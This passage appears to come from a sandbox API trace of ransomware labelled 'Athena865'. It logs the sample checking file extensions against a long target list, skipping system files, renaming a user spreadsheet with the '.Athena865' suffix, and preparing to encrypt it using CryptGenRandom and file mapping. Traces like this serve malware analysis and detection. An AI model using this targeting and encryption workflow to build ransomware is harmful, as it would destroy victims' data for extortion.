lpString2="mdf") returned 1 [0050.784] lstrlenW (lpString="mdb") returned 3 [0050.784] lstrcmpiW (lpString1="xls", lpString2="mdb") returned 1 [0050.784] lstrlenW (lpString="sql") returned 3 [0050.784] lstrcmpiW (lpString1="xls", lpString2="sql") returned 1 [0050.784] lstrlenW (lpString="sqlite") returned 6 [0050.784] lstrcmpiW (lpString1="7l.xls", lpString2="sqlite") returned -1 [0050.784] lstrlenW (lpString="sqlite3") returned 7 [0050.784] lstrcmpiW (lpString1="y7l.xls", lpString2="sqlite3") returned 1 [0050.784] lstrlenW (lpString="sqlitedb") returned 8 [0050.785] lstrcmpiW (lpString1="Xy7l.xls", lpString2="sqlitedb") returned 1 [0050.785] lstrlenW (lpString="xml") returned 3 [0050.785] lstrcmpiW (lpString1="xls", lpString2="xml") returned -1 [0050.785] lstrlenW (lpString="$er") returned 3 [0050.785] lstrcmpiW (lpString1="xls", lpString2="$er") returned 1 [0050.785] lstrlenW (lpString="4dd") returned 3 [0050.785] lstrcmpiW (lpString1="xls", lpString2="4dd") returned 1 [0050.785] lstrlenW (lpString="4dl") returned 3 [0050.785] lstrcmpiW (lpString1="xls", lpString2="4dl") returned 1 [0050.785] lstrlenW (lpString="^^^") returned 3 [0050.785] lstrcmpiW (lpString1="xls", lpString2="^^^") returned 1 [0050.785] lstrlenW (lpString="abs") returned 3 [0050.785] lstrcmpiW (lpString1="xls", lpString2="abs") returned 1 [0050.785] lstrlenW (lpString="abx") returned 3 [0050.785] lstrcmpiW (lpString1="xls", lpString2="abx") returned 1 [0050.785] lstrlenW (lpString="accdb") returned 5 [0050.785] lstrcmpiW (lpString1="l.xls", lpString2="accdb") returned 1 [0050.785] lstrlenW (lpString="accdc") returned 5 [0050.785] lstrcmpiW (lpString1="l.xls", lpString2="accdc") returned 1 [0050.785] lstrlenW (lpString="accde") returned 5 [0050.785] lstrcmpiW (lpString1="l.xls", lpString2="accde") returned 1 [0050.785] lstrlenW (lpString="accdr") returned 5 [0050.785] lstrcmpiW (lpString1="l.xls", lpString2="accdr") returned 1 [0050.785] lstrlenW (lpString="accdt") returned 5 [0050.785] lstrcmpiW (lpString1="l.xls", lpString2="accdt") returned 1 [0050.785] lstrlenW (lpString="accdw") returned 5 [0050.785] lstrcmpiW (lpString1="l.xls", lpString2="accdw") returned 1 [0050.785] lstrlenW (lpString="accft") returned 5 [0050.785] lstrcmpiW (lpString1="l.xls", lpString2="accft") returned 1 [0050.785] lstrlenW (lpString="adb") returned 3 [0050.785] lstrcmpiW (lpString1="xls", lpString2="adb") returned 1 [0050.785] lstrlenW (lpString="adb") returned 3 [0050.785] lstrcmpiW (lpString1="xls", lpString2="adb") returned 1 [0050.785] lstrlenW (lpString="ade") returned 3 [0050.786] lstrcmpiW (lpString1="xls", lpString2="ade") returned 1 [0050.786] lstrlenW (lpString="adf") returned 3 [0050.786] lstrcmpiW (lpString1="xls", lpString2="adf") returned 1 [0050.786] lstrlenW (lpString="adn") returned 3 [0050.786] lstrcmpiW (lpString1="xls", lpString2="adn") returned 1 [0050.786] lstrlenW (lpString="adp") returned 3 [0050.786] lstrcmpiW (lpString1="xls", lpString2="adp") returned 1 [0050.786] lstrlenW (lpString="alf") returned 3 [0050.786] lstrcmpiW (lpString1="xls", lpString2="alf") returned 1 [0050.786] lstrlenW (lpString="ask") returned 3 [0050.786] lstrcmpiW (lpString1="xls", lpString2="ask") returned 1 [0050.786] lstrlenW (lpString="btr") returned 3 [0050.786] lstrcmpiW (lpString1="xls", lpString2="btr") returned 1 [0050.786] lstrlenW (lpString="cat") returned 3 [0050.786] lstrcmpiW (lpString1="xls", lpString2="cat") returned 1 [0050.786] lstrlenW (lpString="cdb") returned 3 [0050.786] lstrcmpiW (lpString1="xls", lpString2="cdb") returned 1 [0050.786] lstrlenW (lpString="ckp") returned 3 [0050.786] lstrcmpiW (lpString1="xls", lpString2="ckp") returned 1 [0050.786] lstrlenW (lpString="cma") returned 3 [0050.786] lstrcmpiW (lpString1="xls", lpString2="cma") returned 1 [0050.786] lstrlenW (lpString="cpd") returned 3 [0050.786] lstrcmpiW (lpString1="xls", lpString2="cpd") returned 1 [0050.786] lstrlenW (lpString="dacpac") returned 6 [0050.786] lstrcmpiW (lpString1="7l.xls", lpString2="dacpac") returned -1 [0050.786] lstrlenW (lpString="dad") returned 3 [0050.786] lstrcmpiW (lpString1="xls", lpString2="dad") returned 1 [0050.786] lstrlenW (lpString="dadiagrams") returned 10 [0050.786] lstrcmpiW (lpString1="awXy7l.xls", lpString2="dadiagrams") returned -1 [0050.786] lstrlenW (lpString="daschema") returned 8 [0050.786] lstrcmpiW (lpString1="Xy7l.xls", lpString2="daschema") returned 1 [0050.786] lstrlenW (lpString="db-journal") returned 10 [0050.787] lstrcmpiW (lpString1="awXy7l.xls", lpString2="db-journal") returned -1 [0050.787] lstrlenW (lpString="db-shm") returned 6 [0050.787] lstrcmpiW (lpString1="7l.xls", lpString2="db-shm") returned -1 [0050.787] lstrlenW (lpString="db-wal") returned 6 [0050.787] lstrcmpiW (lpString1="7l.xls", lpString2="db-wal") returned -1 [0050.787] lstrlenW (lpString="dbc") returned 3 [0050.787] lstrcmpiW (lpString1="xls", lpString2="dbc") returned 1 [0050.787] lstrlenW (lpString="dbs") returned 3 [0050.787] lstrcmpiW (lpString1="xls", lpString2="dbs") returned 1 [0050.787] lstrlenW (lpString="dbt") returned 3 [0050.787] lstrcmpiW (lpString1="xls", lpString2="dbt") returned 1 [0050.787] lstrlenW (lpString="dbv") returned 3 [0050.787] lstrcmpiW (lpString1="xls", lpString2="dbv") returned 1 [0050.787] lstrlenW (lpString="dbx") returned 3 [0050.787] lstrcmpiW (lpString1="xls", lpString2="dbx") returned 1 [0050.787] lstrlenW (lpString="dcb") returned 3 [0050.787] lstrcmpiW (lpString1="xls", lpString2="dcb") returned 1 [0050.787] lstrlenW (lpString="dct") returned 3 [0050.787] lstrcmpiW (lpString1="xls", lpString2="dct") returned 1 [0050.787] lstrlenW (lpString="dcx") returned 3 [0050.787] lstrcmpiW (lpString1="xls", lpString2="dcx") returned 1 [0050.787] lstrlenW (lpString="ddl") returned 3 [0050.787] lstrcmpiW (lpString1="xls", lpString2="ddl") returned 1 [0050.787] lstrlenW (lpString="dlis") returned 4 [0050.787] lstrcmpiW (lpString1=".xls", lpString2="dlis") returned -1 [0050.787] lstrlenW (lpString="dp1") returned 3 [0050.787] lstrcmpiW (lpString1="xls", lpString2="dp1") returned 1 [0050.787] lstrlenW (lpString="dqy") returned 3 [0050.787] lstrcmpiW (lpString1="xls", lpString2="dqy") returned 1 [0050.787] lstrlenW (lpString="dsk") returned 3 [0050.787] lstrcmpiW (lpString1="xls", lpString2="dsk") returned 1 [0050.787] lstrlenW (lpString="dsn") returned 3 [0050.787] lstrcmpiW (lpString1="xls", lpString2="dsn") returned 1 [0050.788] lstrlenW (lpString="dtsx") returned 4 [0050.788] lstrcmpiW (lpString1=".xls", lpString2="dtsx") returned -1 [0050.788] lstrlenW (lpString="dxl") returned 3 [0050.788] lstrcmpiW (lpString1="xls", lpString2="dxl") returned 1 [0050.788] lstrlenW (lpString="eco") returned 3 [0050.788] lstrcmpiW (lpString1="xls", lpString2="eco") returned 1 [0050.788] lstrlenW (lpString="ecx") returned 3 [0050.788] lstrcmpiW (lpString1="xls", lpString2="ecx") returned 1 [0050.788] lstrlenW (lpString="edb") returned 3 [0050.788] lstrcmpiW (lpString1="xls", lpString2="edb") returned 1 [0050.788] lstrlenW (lpString="epim") returned 4 [0050.788] lstrcmpiW (lpString1=".xls", lpString2="epim") returned -1 [0050.788] lstrlenW (lpString="fcd") returned 3 [0050.788] lstrcmpiW (lpString1="xls", lpString2="fcd") returned 1 [0050.788] lstrlenW (lpString="fdb") returned 3 [0050.788] lstrcmpiW (lpString1="xls", lpString2="fdb") returned 1 [0050.788] lstrlenW (lpString="fic") returned 3 [0050.788] lstrcmpiW (lpString1="xls", lpString2="fic") returned 1 [0050.788] lstrlenW (lpString="flexolibrary") returned 12 [0050.788] lstrcmpiW (lpString1="heawXy7l.xls", lpString2="flexolibrary") returned 1 [0050.788] lstrlenW (lpString="fm5") returned 3 [0050.788] lstrcmpiW (lpString1="xls", lpString2="fm5") returned 1 [0050.788] lstrlenW (lpString="fmp") returned 3 [0050.788] lstrcmpiW (lpString1="xls", lpString2="fmp") returned 1 [0050.788] lstrlenW (lpString="fmp12") returned 5 [0050.788] lstrcmpiW (lpString1="l.xls", lpString2="fmp12") returned 1 [0050.788] lstrlenW (lpString="fmpsl") returned 5 [0050.788] lstrcmpiW (lpString1="l.xls", lpString2="fmpsl") returned 1 [0050.788] lstrlenW (lpString="fol") returned 3 [0050.788] lstrcmpiW (lpString1="xls", lpString2="fol") returned 1 [0050.788] lstrlenW (lpString="fp3") returned 3 [0050.788] lstrcmpiW (lpString1="xls", lpString2="fp3") returned 1 [0050.788] lstrlenW (lpString="fp4") returned 3 [0050.789] lstrcmpiW (lpString1="xls", lpString2="fp4") returned 1 [0050.789] lstrlenW (lpString="fp5") returned 3 [0050.789] lstrcmpiW (lpString1="xls", lpString2="fp5") returned 1 [0050.789] lstrlenW (lpString="fp7") returned 3 [0050.789] lstrcmpiW (lpString1="xls", lpString2="fp7") returned 1 [0050.789] lstrlenW (lpString="fpt") returned 3 [0050.789] lstrcmpiW (lpString1="xls", lpString2="fpt") returned 1 [0050.789] lstrlenW (lpString="frm") returned 3 [0050.789] lstrcmpiW (lpString1="xls", lpString2="frm") returned 1 [0050.789] lstrlenW (lpString="gdb") returned 3 [0050.789] lstrcmpiW (lpString1="xls", lpString2="gdb") returned 1 [0050.789] lstrlenW (lpString="gdb") returned 3 [0050.789] lstrcmpiW (lpString1="xls", lpString2="gdb") returned 1 [0050.789] lstrlenW (lpString="grdb") returned 4 [0050.789] lstrcmpiW (lpString1=".xls", lpString2="grdb") returned -1 [0050.789] lstrlenW (lpString="gwi") returned 3 [0050.789] lstrcmpiW (lpString1="xls", lpString2="gwi") returned 1 [0050.789] lstrlenW (lpString="hdb") returned 3 [0050.789] lstrcmpiW (lpString1="xls", lpString2="hdb") returned 1 [0050.789] lstrlenW (lpString="his") returned 3 [0050.789] lstrcmpiW (lpString1="xls", lpString2="his") returned 1 [0050.789] lstrlenW (lpString="ib") returned 2 [0050.789] lstrcmpiW (lpString1="ls", lpString2="ib") returned 1 [0050.789] lstrlenW (lpString="idb") returned 3 [0050.789] lstrcmpiW (lpString1="xls", lpString2="idb") returned 1 [0050.789] lstrlenW (lpString="ihx") returned 3 [0050.789] lstrcmpiW (lpString1="xls", lpString2="ihx") returned 1 [0050.789] lstrlenW (lpString="itdb") returned 4 [0050.789] lstrcmpiW (lpString1=".xls", lpString2="itdb") returned -1 [0050.789] lstrlenW (lpString="itw") returned 3 [0050.789] lstrcmpiW (lpString1="xls", lpString2="itw") returned 1 [0050.789] lstrlenW (lpString="jet") returned 3 [0050.789] lstrcmpiW (lpString1="xls", lpString2="jet") returned 1 [0050.789] lstrlenW (lpString="jtx") returned 3 [0050.790] lstrcmpiW (lpString1="xls", lpString2="jtx") returned 1 [0050.790] lstrlenW (lpString="kdb") returned 3 [0050.790] lstrcmpiW (lpString1="xls", lpString2="kdb") returned 1 [0050.790] lstrlenW (lpString="kexi") returned 4 [0050.790] lstrcmpiW (lpString1=".xls", lpString2="kexi") returned -1 [0050.790] lstrlenW (lpString="kexic") returned 5 [0050.790] lstrcmpiW (lpString1="l.xls", lpString2="kexic") returned 1 [0050.790] lstrlenW (lpString="kexis") returned 5 [0050.790] lstrcmpiW (lpString1="l.xls", lpString2="kexis") returned 1 [0050.790] lstrlenW (lpString="lgc") returned 3 [0050.790] lstrcmpiW (lpString1="xls", lpString2="lgc") returned 1 [0050.790] lstrlenW (lpString="lwx") returned 3 [0050.790] lstrcmpiW (lpString1="xls", lpString2="lwx") returned 1 [0050.790] lstrlenW (lpString="maf") returned 3 [0050.790] lstrcmpiW (lpString1="xls", lpString2="maf") returned 1 [0050.790] lstrlenW (lpString="maq") returned 3 [0050.790] lstrcmpiW (lpString1="xls", lpString2="maq") returned 1 [0050.790] lstrlenW (lpString="mar") returned 3 [0050.790] lstrcmpiW (lpString1="xls", lpString2="mar") returned 1 [0050.790] lstrlenW (lpString="marshal") returned 7 [0050.790] lstrcmpiW (lpString1="y7l.xls", lpString2="marshal") returned 1 [0050.790] lstrlenW (lpString="mas") returned 3 [0050.790] lstrcmpiW (lpString1="xls", lpString2="mas") returned 1 [0050.790] lstrlenW (lpString="mav") returned 3 [0050.790] lstrcmpiW (lpString1="xls", lpString2="mav") returned 1 [0050.790] lstrlenW (lpString="maw") returned 3 [0050.790] lstrcmpiW (lpString1="xls", lpString2="maw") returned 1 [0050.790] lstrlenW (lpString="mdbhtml") returned 7 [0050.790] lstrcmpiW (lpString1="y7l.xls", lpString2="mdbhtml") returned 1 [0050.790] lstrlenW (lpString="mdn") returned 3 [0050.790] lstrcmpiW (lpString1="xls", lpString2="mdn") returned 1 [0050.790] lstrlenW (lpString="mdt") returned 3 [0050.791] lstrcmpiW (lpString1="xls", lpString2="mdt") returned 1 [0050.791] lstrlenW (lpString="mfd") returned 3 [0050.791] lstrcmpiW (lpString1="xls", lpString2="mfd") returned 1 [0050.791] lstrlenW (lpString="mpd") returned 3 [0050.791] lstrcmpiW (lpString1="xls", lpString2="mpd") returned 1 [0050.791] lstrlenW (lpString="mrg") returned 3 [0050.791] lstrcmpiW (lpString1="xls", lpString2="mrg") returned 1 [0050.791] lstrlenW (lpString="mud") returned 3 [0050.791] lstrcmpiW (lpString1="xls", lpString2="mud") returned 1 [0050.791] lstrlenW (lpString="mwb") returned 3 [0050.791] lstrcmpiW (lpString1="xls", lpString2="mwb") returned 1 [0050.791] lstrlenW (lpString="myd") returned 3 [0050.791] lstrcmpiW (lpString1="xls", lpString2="myd") returned 1 [0050.791] lstrlenW (lpString="ndf") returned 3 [0050.791] lstrcmpiW (lpString1="xls", lpString2="ndf") returned 1 [0050.791] lstrlenW (lpString="nnt") returned 3 [0050.791] lstrcmpiW (lpString1="xls", lpString2="nnt") returned 1 [0050.791] lstrlenW (lpString="nrmlib") returned 6 [0050.791] lstrcmpiW (lpString1="7l.xls", lpString2="nrmlib") returned -1 [0050.791] lstrlenW (lpString="ns2") returned 3 [0050.791] lstrcmpiW (lpString1="xls", lpString2="ns2") returned 1 [0050.791] lstrlenW (lpString="ns3") returned 3 [0050.791] lstrcmpiW (lpString1="xls", lpString2="ns3") returned 1 [0050.791] lstrlenW (lpString="ns4") returned 3 [0050.791] lstrcmpiW (lpString1="xls", lpString2="ns4") returned 1 [0050.791] lstrlenW (lpString="nsf") returned 3 [0050.791] lstrcmpiW (lpString1="xls", lpString2="nsf") returned 1 [0050.791] lstrlenW (lpString="nv") returned 2 [0050.791] lstrcmpiW (lpString1="ls", lpString2="nv") returned -1 [0050.791] lstrlenW (lpString="nv2") returned 3 [0050.791] lstrcmpiW (lpString1="xls", lpString2="nv2") returned 1 [0050.791] lstrlenW (lpString="nwdb") returned 4 [0050.791] lstrcmpiW (lpString1=".xls", lpString2="nwdb") returned -1 [0050.791] lstrlenW (lpString="nyf") returned 3 [0050.792] lstrcmpiW (lpString1="xls", lpString2="nyf") returned 1 [0050.792] lstrlenW (lpString="odb") returned 3 [0050.792] lstrcmpiW (lpString1="xls", lpString2="odb") returned 1 [0050.792] lstrlenW (lpString="odb") returned 3 [0050.792] lstrcmpiW (lpString1="xls", lpString2="odb") returned 1 [0050.792] lstrlenW (lpString="oqy") returned 3 [0050.792] lstrcmpiW (lpString1="xls", lpString2="oqy") returned 1 [0050.792] lstrlenW (lpString="ora") returned 3 [0050.792] lstrcmpiW (lpString1="xls", lpString2="ora") returned 1 [0050.792] lstrlenW (lpString="orx") returned 3 [0050.792] lstrcmpiW (lpString1="xls", lpString2="orx") returned 1 [0050.792] lstrlenW (lpString="owc") returned 3 [0050.792] lstrcmpiW (lpString1="xls", lpString2="owc") returned 1 [0050.792] lstrlenW (lpString="p96") returned 3 [0050.792] lstrcmpiW (lpString1="xls", lpString2="p96") returned 1 [0050.792] lstrlenW (lpString="p97") returned 3 [0050.792] lstrcmpiW (lpString1="xls", lpString2="p97") returned 1 [0050.792] lstrlenW (lpString="pan") returned 3 [0050.792] lstrcmpiW (lpString1="xls", lpString2="pan") returned 1 [0050.792] lstrlenW (lpString="pdb") returned 3 [0050.792] lstrcmpiW (lpString1="xls", lpString2="pdb") returned 1 [0050.792] lstrlenW (lpString="pdm") returned 3 [0050.792] lstrcmpiW (lpString1="xls", lpString2="pdm") returned 1 [0050.792] lstrlenW (lpString="pnz") returned 3 [0050.792] lstrcmpiW (lpString1="xls", lpString2="pnz") returned 1 [0050.792] lstrlenW (lpString="qry") returned 3 [0050.792] lstrcmpiW (lpString1="xls", lpString2="qry") returned 1 [0050.792] lstrlenW (lpString="qvd") returned 3 [0050.792] lstrcmpiW (lpString1="xls", lpString2="qvd") returned 1 [0050.792] lstrlenW (lpString="rbf") returned 3 [0050.792] lstrcmpiW (lpString1="xls", lpString2="rbf") returned 1 [0050.792] lstrlenW (lpString="rctd") returned 4 [0050.792] lstrcmpiW (lpString1=".xls", lpString2="rctd") returned -1 [0050.793] lstrlenW (lpString="rod") returned 3 [0050.793] lstrcmpiW (lpString1="xls", lpString2="rod") returned 1 [0050.793] lstrlenW (lpString="rodx") returned 4 [0050.793] lstrcmpiW (lpString1=".xls", lpString2="rodx") returned -1 [0050.793] lstrlenW (lpString="rpd") returned 3 [0050.793] lstrcmpiW (lpString1="xls", lpString2="rpd") returned 1 [0050.793] lstrlenW (lpString="rsd") returned 3 [0050.793] lstrcmpiW (lpString1="xls", lpString2="rsd") returned 1 [0050.793] lstrlenW (lpString="sas7bdat") returned 8 [0050.793] lstrcmpiW (lpString1="Xy7l.xls", lpString2="sas7bdat") returned 1 [0050.793] lstrlenW (lpString="sbf") returned 3 [0050.793] lstrcmpiW (lpString1="xls", lpString2="sbf") returned 1 [0050.793] lstrlenW (lpString="scx") returned 3 [0050.793] lstrcmpiW (lpString1="xls", lpString2="scx") returned 1 [0050.793] lstrlenW (lpString="sdb") returned 3 [0050.793] lstrcmpiW (lpString1="xls", lpString2="sdb") returned 1 [0050.793] lstrlenW (lpString="sdc") returned 3 [0050.793] lstrcmpiW (lpString1="xls", lpString2="sdc") returned 1 [0050.793] lstrlenW (lpString="sdf") returned 3 [0050.793] lstrcmpiW (lpString1="xls", lpString2="sdf") returned 1 [0050.793] lstrlenW (lpString="sis") returned 3 [0050.793] lstrcmpiW (lpString1="xls", lpString2="sis") returned 1 [0050.793] lstrlenW (lpString="spq") returned 3 [0050.793] lstrcmpiW (lpString1="xls", lpString2="spq") returned 1 [0050.793] lstrlenW (lpString="te") returned 2 [0050.793] lstrcmpiW (lpString1="ls", lpString2="te") returned -1 [0050.793] lstrlenW (lpString="teacher") returned 7 [0050.793] lstrcmpiW (lpString1="y7l.xls", lpString2="teacher") returned 1 [0050.793] lstrlenW (lpString="tmd") returned 3 [0050.793] lstrcmpiW (lpString1="xls", lpString2="tmd") returned 1 [0050.793] lstrlenW (lpString="tps") returned 3 [0050.793] lstrcmpiW (lpString1="xls", lpString2="tps") returned 1 [0050.793] lstrlenW (lpString="trc") returned 3 [0050.793] lstrcmpiW (lpString1="xls", lpString2="trc") returned 1 [0050.794] lstrlenW (lpString="trc") returned 3 [0050.794] lstrcmpiW (lpString1="xls", lpString2="trc") returned 1 [0050.794] lstrlenW (lpString="trm") returned 3 [0050.794] lstrcmpiW (lpString1="xls", lpString2="trm") returned 1 [0050.794] lstrlenW (lpString="udb") returned 3 [0050.794] lstrcmpiW (lpString1="xls", lpString2="udb") returned 1 [0050.794] lstrlenW (lpString="udl") returned 3 [0050.794] lstrcmpiW (lpString1="xls", lpString2="udl") returned 1 [0050.794] lstrlenW (lpString="usr") returned 3 [0050.794] lstrcmpiW (lpString1="xls", lpString2="usr") returned 1 [0050.794] lstrlenW (lpString="v12") returned 3 [0050.794] lstrcmpiW (lpString1="xls", lpString2="v12") returned 1 [0050.794] lstrlenW (lpString="vis") returned 3 [0050.794] lstrcmpiW (lpString1="xls", lpString2="vis") returned 1 [0050.794] lstrlenW (lpString="vpd") returned 3 [0050.794] lstrcmpiW (lpString1="xls", lpString2="vpd") returned 1 [0050.794] lstrlenW (lpString="vvv") returned 3 [0050.794] lstrcmpiW (lpString1="xls", lpString2="vvv") returned 1 [0050.794] lstrlenW (lpString="wdb") returned 3 [0050.794] lstrcmpiW (lpString1="xls", lpString2="wdb") returned 1 [0050.794] lstrlenW (lpString="wmdb") returned 4 [0050.794] lstrcmpiW (lpString1=".xls", lpString2="wmdb") returned -1 [0050.794] lstrlenW (lpString="wrk") returned 3 [0050.794] lstrcmpiW (lpString1="xls", lpString2="wrk") returned 1 [0050.794] lstrlenW (lpString="xdb") returned 3 [0050.794] lstrcmpiW (lpString1="xls", lpString2="xdb") returned 1 [0050.794] lstrlenW (lpString="xld") returned 3 [0050.794] lstrcmpiW (lpString1="xls", lpString2="xld") returned 1 [0050.794] lstrlenW (lpString="xmlff") returned 5 [0050.794] lstrcmpiW (lpString1="l.xls", lpString2="xmlff") returned -1 [0050.794] wsprintfW (in: param_1=0x241d508, param_2="%s.%s" | out: param_1="C:\\Documents and Settings\\5p5NrGJn0jS HALPmcxz\\Documents\\sheawXy7l.xls.Athena865") returned 80 [0050.795] MoveFileExW (lpExistingFileName="C:\\Documents and Settings\\5p5NrGJn0jS HALPmcxz\\Documents\\sheawXy7l.xls" (normalized: "c:\\documents and settings\\5p5nrgjn0js halpmcxz\\documents\\sheawxy7l.xls"), lpNewFileName="C:\\Documents and Settings\\5p5NrGJn0jS HALPmcxz\\Documents\\sheawXy7l.xls.Athena865" (normalized: "c:\\documents and settings\\5p5nrgjn0js halpmcxz\\documents\\sheawxy7l.xls.athena865"), dwFlags=0x1) returned 1 [0050.795] CreateFileW (lpFileName="C:\\Documents and Settings\\5p5NrGJn0jS HALPmcxz\\Documents\\sheawXy7l.xls.Athena865" (normalized: "c:\\documents and settings\\5p5nrgjn0js halpmcxz\\documents\\sheawxy7l.xls.athena865"), dwDesiredAccess=0xc00e0000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x8a000080, hTemplateFile=0x0) returned 0x17c [0050.795] GetFileSizeEx (in: hFile=0x17c, lpFileSize=0x241e418 | out: lpFileSize=0x241e418*=89521) returned 1 [0050.795] RtlAllocateHeap (HeapHandle=0x4f0000, Flags=0x8, Size=0x200300) returned 0x2b40020 [0050.796] RtlAllocateHeap (HeapHandle=0x4f0000, Flags=0x8, Size=0x6c) returned 0x52d5e8 [0050.796] RtlAllocateHeap (HeapHandle=0x4f0000, Flags=0x8, Size=0x80) returned 0x518920 [0050.796] CryptAcquireContextW (in: phProv=0x241d1c4, szContainer=0x0, szProvider=0x0, dwProvType=0x1, dwFlags=0xf0000000 | out: phProv=0x241d1c4*=0x519448) returned 1 [0050.797] CryptGenRandom (in: hProv=0x519448, dwLen=0x80, pbBuffer=0x241d1d8 | out: pbBuffer=0x241d1d8) returned 1 [0050.797] CryptReleaseContext (hProv=0x519448, dwFlags=0x0) returned 1 [0050.797] CreateFileMappingW (hFile=0x17c, lpFileMappingAttributes=0x0, flProtect=0x4, dwMaximumSizeHigh=0x0, dwMaximumSizeLow=0x160c0, lpName=0x0) returned 0x154 [0050.797] MapViewOfFile (hFileMappingObject=0x154, dwDesiredAccess=0x6, dwFileOffsetHigh=0x0, dwFileOffsetLow=0x0, dwNumberOfBytesToMap=0x160c0) returned 0x100000 [0050.800] CryptAcquireContextW (in: phProv=0x241d174, szContainer=0x0, szProvider=0x0, dwProvType=0x1, dwFlags=0xf0000000 | out: phProv=0x241d174*=0x519448) returned 1 [0050.801] CryptGenRandom (in: hProv=0x519448, dwLen=0x80, pbBuffer=0x241d188 | out: pbBuffer=0x241d188) returned 1 [0050.801] CryptReleaseContext (hProv=0x519448, dwFlags=0x0) returned 1 [0050.801] RtlAllocateHeap (HeapHandle=0x4f0000, Flags=0x8, Size=0x6c) returned 0x52d660 [0050.801] HeapFree (in: hHeap=0x4f0000, dwFlags=0x0, lpMem=0x52d660 | out: hHeap=0x4f0000) returned 1 [0050.801] RtlAllocateHeap (HeapHandle=0x4f0000, Flags=0x8, Size=0x100) returned 0x50dd88 [0050.801] RtlAllocateHeap (HeapHandle=0x4f0000, Flags=0x8, Size=0x104) returned 0x530d20 [0050.801] HeapFree (in: hHeap=0x4f0000, dwFlags=0x0, lpMem=0x50dd88 | out: hHeap=0x4f0000) returned 1 [0050.801] RtlAllocateHeap (HeapHandle=0x4f0000, Flags=0x8, Size=0x104) returned 0x530e38 [0050.801] RtlAllocateHeap (HeapHandle=0x4f0000, Flags=0x8, Size=0x208) returned 0x50b7a8 [0050.801] HeapFree (in: hHeap=0x4f0000, dwFlags=0x0, lpMem=0x530e38 | out: hHeap=0x4f0000) returned 1 [0050.802] HeapFree (in: hHeap=0x4f0000, dwFlags=0x0, lpMem=0x50b7a8 | out: hHeap=0x4f0000) returned 1 [0050.802] HeapFree (in: hHeap=0x4f0000, dwFlags=0x0, lpMem=0x530d20 | out: hHeap=0x4f0000) returned 1 [0050.802] UnmapViewOfFile (lpBaseAddress=0x100000) returned 1 [0050.802] CloseHandle (hObject=0x154) returned 1 [0050.803] CloseHandle (hObject=0x17c) returned 1 [0050.804] HeapFree (in: hHeap=0x4f0000, dwFlags=0x0, lpMem=0x52d5e8 | out: hHeap=0x4f0000) returned 1 [0050.804] HeapFree (in: hHeap=0x4f0000, dwFlags=0x0, lpMem=0x518920 | out: hHeap=0x4f0000) returned 1 [0050.804] HeapFree (in: hHeap=0x4f0000, dwFlags=0x0, lpMem=0x2b40020 | out: hHeap=0x4f0000) returned 1 [0050.804] FindNextFileW (in: hFindFile=0x529410, lpFindFileData=0x241e5f8 | out: lpFindFileData=0x241e5f8*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x1ad02650, ftCreationTime.dwHighDateTime=0x1d53add, ftLastAccessTime.dwLowDateTime=0xc0406370, ftLastAccessTime.dwHighDateTime=0x1d4f1ef, ftLastWriteTime.dwLowDateTime=0xc0406370, ftLastWriteTime.dwHighDateTime=0x1d4f1ef, nFileSizeHigh=0x0, nFileSizeLow=0x4b0a, dwReserved0=0xa0000003, dwReserved1=0x0, cFileName="uuG-k9oPeWHUR1FR_eEI.xlsx", cAlternateFileName="UUG-K9~1.XLS")) returned 1 [0050.804] lstrcmpiW (lpString1="uuG-k9oPeWHUR1FR_eEI.xlsx", lpString2="HOW TO BACK YOUR FILES.exe") returned 1 [0050.804] lstrcmpiW (lpString1="uuG-k9oPeWHUR1FR_eEI.xlsx", lpString2="CUsersGustavoDesktopAthena865.exe") returned 1 [0050.804] lstrcmpiW (lpString1="uuG-k9oPeWHUR1FR_eEI.xlsx", lpString2=".") returned 1 [0050.804] lstrcmpiW (lpString1="uuG-k9oPeWHUR1FR_eEI.xlsx", lpString2="..") returned 1 [0050.804] lstrcmpiW (lpString1="uuG-k9oPeWHUR1FR_eEI.xlsx", lpString2="windows") returned -1 [0050.804] lstrcmpiW (lpString1="uuG-k9oPeWHUR1FR_eEI.xlsx", lpString2="bootmgr") returned 1 [0050.804] lstrcmpiW (lpString1="uuG-k9oPeWHUR1FR_eEI.xlsx", lpString2="temp") returned 1 [0050.804] lstrcmpiW (lpString1="uuG-k9oPeWHUR1FR_eEI.xlsx", lpString2="pagefile.sys") returned 1 [0050.805] lstrcmpiW (lpString1="uuG-k9oPeWHUR1FR_eEI.xlsx", lpString2="boot") returned 1 [0050.805] lstrcmpiW (lpString1="uuG-k9oPeWHUR1FR_eEI.xlsx", lpString2="ids.txt") returned 1 [0050.805] lstrcmpiW (lpString1="uuG-k9oPeWHUR1FR_eEI.xlsx", lpString2="ntuser.dat") returned 1 [0050.805] lstrcmpiW (lpString1="uuG-k9oPeWHUR1FR_eEI.xlsx", lpString2="perflogs") returned 1 [0050.805] lstrcmpiW (lpString1="uuG-k9oPeWHUR1FR_eEI.xlsx", lpString2="MSBuild") returned 1 [0050.805] lstrlenW (lpString="uuG-k9oPeWHUR1FR_eEI.xlsx") returned 25 [0050.805] lstrcpyW (in: lpString1=0x241e8ba, lpString2="uuG-k9oPeWHUR1FR_eEI.xlsx" | out: lpString1="uuG-k9oPeWHUR1FR_eEI.xlsx") returned="uuG-k9oPeWHUR1FR_eEI.xlsx" [0050.805] lstrlenW (lpString="uuG-k9oPeWHUR1FR_eEI.xlsx") returned 25 [0050.805] lstrlenW (lpString="Athena865") returned 9 [0050.805] lstrcmpiW (lpString1="_eEI.xlsx", lpString2="Athena865") returned -1 [0050.805] lstrlenW (lpString=".dll") returned 4 [0050.805] lstrcmpiW (lpString1="uuG-k9oPeWHUR1FR_eEI.xlsx", lpString2=".dll") returned 1 [0050.805] lstrlenW (lpString=".lnk") returned 4 [0050.805] lstrcmpiW (lpString1="uuG-k9oPeWHUR1FR_eEI.xlsx", lpString2=".lnk") returned 1 [0050.805] lstrlenW (lpString=".ini") returned 4 [0050.805] lstrcmpiW (lpString1="uuG-k9oPeWHUR1FR_eEI.xlsx", lpString2=".ini") returned 1 [0050.805] lstrlenW (lpString=".sys") returned 4 [0050.805] lstrcmpiW (lpString1="uuG-k9oPeWHUR1FR_eEI.xlsx", lpString2=".sys") returned 1 [0050.805] lstrlenW (lpString="uuG-k9oPeWHUR1FR_eEI.xlsx") returned 25 [0050.805] lstrlenW (lpString="bak") returned 3 [0050.805] lstrcmpiW (lpString1="lsx", lpString2="bak") returned 1 [0050.805] lstrlenW (lpString="ba_") returned 3 [0050.805] lstrcmpiW (lpString1="lsx", 